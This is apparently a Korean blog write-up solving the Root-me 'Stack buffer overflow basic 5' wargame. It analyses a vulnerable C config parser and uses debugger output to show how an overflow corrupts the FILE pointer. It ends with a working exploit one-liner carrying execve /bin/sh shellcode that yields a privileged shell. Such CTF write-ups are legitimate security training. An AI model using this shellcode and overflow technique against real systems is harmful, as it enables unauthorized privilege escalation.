[App system] ELF x86 - Stack buffer overflow basic 5

2022. 10. 25. 22:24·Wargame/Root me
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
 
#define BUFFER 512
 
struct Init
{
  char username[128];
  uid_t uid;
  pid_t pid;  
   
};
 
void cpstr(char *dst, const char *src)
{
  for(; *src; src++, dst++)
    {
      *dst = *src;
    }
  *dst = 0;
}
void chomp(char *buff)
{
  for(; *buff; buff++)
    {
      if(*buff == '\n' || *buff == '\r' || *buff == '\t')
        {
          *buff = 0;
          break;
        }
    }
}
struct Init Init(char *filename)
{
   
  FILE *file;
  struct Init init;
  char buff[BUFFER+1];  
   
   
  if((file = fopen(filename, "r")) == NULL)
    {
      perror("[-] fopen ");
      exit(0);
    }
   
  memset(&init, 0, sizeof(struct Init));
   
  init.pid = getpid();
  init.uid = getuid();
   
  while(fgets(buff, BUFFER, file) != NULL)
    {
      chomp(buff);
      if(strncmp(buff, "USERNAME=", 9) == 0)
        {
          cpstr(init.username, buff+9);
        }
    }
  fclose(file);
  return init;
}
int main(int argc, char **argv)
{
  struct Init init;
  if(argc != 2)
    {
      printf("Usage : %s <config_file>\n", argv[0]);
      exit(0);
    }
  init = Init(argv[1]);
  printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
   
  return 0;
}

2.2. 분석

2.2.1. main

init 구조체를 선언한다.

해당 구조체는 128 bytes의 username 변수와 uid, pid 변수를 가지고 있다.

만일 인자가 2가 아니면 종료하고,

맞다면 init 함수를 argv[1]과 함께 실행 후 username, uid, pid를 출력하고 종료한다.

 

2.2.2. init

file 구조체, init 구조체, buff 변수를 선언하고

전달받은 argv[1]을 filename 변수로 파일을 연다.

이후 init 구조체를 초기화하고

getpid, getuid를 통해 init 구조체의 pid, uid 변수에 넣는다.

fgets 함수를 통해 buff 변수에 BUFFER 크기 즉 512 bytes 만큼 file에서 읽어들이며,

buff 변수를 인자로 chomp 함수를 실행한 뒤

buff 변수에 USERNAME= 문자열이 있으면 init 구조체의 username 변수와 buff+9 주소를 인자로 cpstr를 실행한 뒤

파일을 닫고 main 함수로 return 한다.

 

2.2.3. chomp

buff 변수가 null이 아닌 동안 buff 변수의 주소를 1씩 더하고 변수 값이 \n, \r, \t인 경우 null 으로 변경한 뒤 종료한다.

 

2.2.4. cpstr

username 변수의 주소를 dst 변수로, buff+9 주소를 src 변수로 인자를 사용하며,

src 값이 null이 아닌 동안 src와 dst 주소를 1씩 더하며 dst 주소에 src 주소의 값을 넣고

src 값이 null 즉 마지막 값이면 dst 값도 null을 넣어준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

buff 변수에는 총 512 bytes의 값을 받아들일 수 있지만, username 변수의 크기는 128 bytes이며, 이에 cpstr 함수에서 overflow가 발생한다.

 

3.2. 공격 준비

문제는 Init 함수의 overwrite된 값 중 file pointer인데, buff 변수를 가득 채워버리면 FILE 구조체의 file 변수도 덮어씌우게 되고, 이는 fgets 함수에서 file의 내용을 가져오려할텐데 여기서 오류가 발생한다.

대략 아래와 같으며 \x90\x90\x90\x90 위치가 file 변수의 위치가 된다.

app-systeme-ch10@challenge02:~$ echo `python -c 'print "USERNAME=" + "A"*(128 + 8) + "\x90"*4 + "BBBB"*3'` > /tmp/wyv
...
$esi   : 0x90909090
...
 → 0xb7e5122b <fgets+43>       mov    (%esi), %ecx
...
[#0] Id 1, Name: "ch10", stopped 0xb7e5122b in _IO_fgets (), reason: SIGSEGV

즉, file 변수가 적절해야 하기에 fake FILE 구조체를 만들어줘서 원하는 함수를 실행시키면 되겠다.

정상적인 상황일때 file 변수의 위치를 확인하면 아래와 같이 $ebp - 0x1c 위치의 값이며,

이는 0x804b160임을 알 수 있다.

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x456     
$ebx   : 0x0804a000  →  0x08049f14  →  <_DYNAMIC+0> add %eax, (%eax)
$ecx   : 0x7c      
$edx   : 0xbffff9bc  →  0x0804b160  →  0xfbad2488
$esp   : 0xbffff728  →  0x0804b160  →  0xfbad2488
$ebp   : 0xbffff9d8  →  0xbffffb28  →  0x00000000
$esi   : 0xb7fc3000  →  0x001d7d8c
$edi   : 0x0       
$eip   : 0x08048740  →  0x00020068 ("h"?)
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033 
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffff728│+0x0000: 0x0804b160  →  0xfbad2488    ← $esp
0xbffff72c│+0x0004: 0x080486e8  →  <Init+119> mov %eax, -0x24(%ebp)
0xbffff730│+0x0008: 0x00000003
0xbffff734│+0x000c: 0x00000000
0xbffff738│+0x0010: 0xb7fff000  →  0x00026f34
0xbffff73c│+0x0014: 0xb7df8d04  →  0x72647800
0xbffff740│+0x0018: 0xb7def012  →  0x2dd76967
0xbffff744│+0x001c: 0xb7defde4  →  0x0000348e
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048737 <Init+198>       add    $0x10, %esp
    0x804873a <Init+201>       sub    $0x4, %esp
    0x804873d <Init+204>       pushl  -0x1c(%ebp)
 →  0x8048740 <Init+207>       push   $0x200
    0x8048745 <Init+212>       lea    -0x2a5(%ebp), %eax
    0x804874b <Init+218>       push   %eax
    0x804874c <Init+219>       call   0x8048430 <fgets@plt>

해당 위치의 값을 보면 아래와 같고 IO_FILE 구조체의 형식임을 알 수 있다.

gef➤  x/400wx 0x0804b160
0x804b160:      0xfbad2488      0x0804b362      0x0804b362      0x0804b2c0
0x804b170:      0x0804b2c0      0x0804b2c0      0x0804b2c0      0x0804b2c0
0x804b180:      0x0804c2c0      0x00000000      0x00000000      0x00000000
0x804b190:      0x00000000      0xb7fc3ce0      0x00000003      0x00000000
0x804b1a0:      0x00000000      0x00000000      0x0804b1f8      0xffffffff
0x804b1b0:      0xffffffff      0x00000000      0x0804b204      0x00000000
0x804b1c0:      0x00000000      0x00000000      0xffffffff      0x00000000
0x804b1d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b1e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b1f0:      0x00000000      0xb7fc1880      0x00000000      0x00000000
...

 

gef➤  p *(struct _IO_FILE_plus *) 0x804b160
$3 = {
  file = {
    _flags = 0xfbad2488, 
    _IO_read_ptr = 0x804b352 "", 
    _IO_read_end = 0x804b352 "", 
    _IO_read_base = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n", 
    _IO_write_base = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n", 
    _IO_write_ptr = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n", 
    _IO_write_end = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n", 
    _IO_buf_base = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n", 
    _IO_buf_end = 0x804c2c0 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0xb7fc3ce0 <_IO_2_1_stderr_>, 
    _fileno = 0x3, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x804b1f8, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x804b204, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 39 times>
  }, 
  vtable = 0xb7fc1880 <_IO_file_jumps>
}

 

현재 null 값을 넣지 못하기에 기존의 file 변수의 주소를 다시 넣어주고 이 부분을 넘어가자.

 

4. exploit

솔직히 많이 야매(?)로 풀었다.

fgets 함수에서 계속 데이터가 꼬이기에 한칸 한칸 넘어가며 그 값들을 맞춰줬다.

app-systeme-ch10@challenge02:~$ echo `python -c 'print "USERNAME=" + "A"*(128 + 8 - 34) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x60\xb1\x04\x08" + "\x01\xa0\x04\x08"*6 + "\x90\xb4\x04\x08" + "\x10\xb4\x04\x08" + "\x10\xb4\x04\x08"'` > /tmp/wyv
pp-systeme-ch10@challenge02:~$ ./ch10 /tmp/wyv
$ id
uid=1210(app-systeme-ch10-cracked) gid=1110(app-systeme-ch10) groups=1110(app-systeme-ch10),100(users)
$ cat .passwd
#---------- 플래그는 삭제

다른 write up 들을 보아도 file pointer에 대한 overwrite에 의해 restore 해줘야 풀린다고 되어있다.

접근 방식은 맞지만 원리 이해를 못하니 조금 답답하게 풀긴 했다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Root me' 카테고리의 다른 글

[App-system] ELF x86 - Stack buffer overflow - ret2dl_resolve  (4) 2022.11.11
[App system] ELF x64 - Stack buffer overflow - advanced  (0) 2022.10.26
[App-system] ELF x86 - Stack buffer and integer overflow  (0) 2022.10.22
[App-system] ELF x86 - Stack buffer overflow - C++ vtables  (0) 2022.10.21
[Cracking] ELF C++ - 0 protection  (0) 2022.07.15
'Wargame/Root me' 카테고리의 다른 글
  • [App-system] ELF x86 - Stack buffer overflow - ret2dl_resolve
  • [App system] ELF x64 - Stack buffer overflow - advanced
  • [App-system] ELF x86 - Stack buffer and integer overflow
  • [App-system] ELF x86 - Stack buffer overflow - C++ vtables
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    hackerschool
    ROOT ME
    64bit
    heap
    lob
    phoenix
    CANARY
    docker
    Me
    _IO_FILE
    cryptohack
    dreamhack
    RTL
    Buffer Overflow
    FSB
    tcache
    la ctf
    root-me
    x86
    root
    32bit
    pwntools
    BOF
    vtable
    x64
    pwnable.kr
    rop
    Format String Bug
    libc
    exploit education
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App system] ELF x86 - Stack buffer overflow basic 5
상단으로

티스토리툴바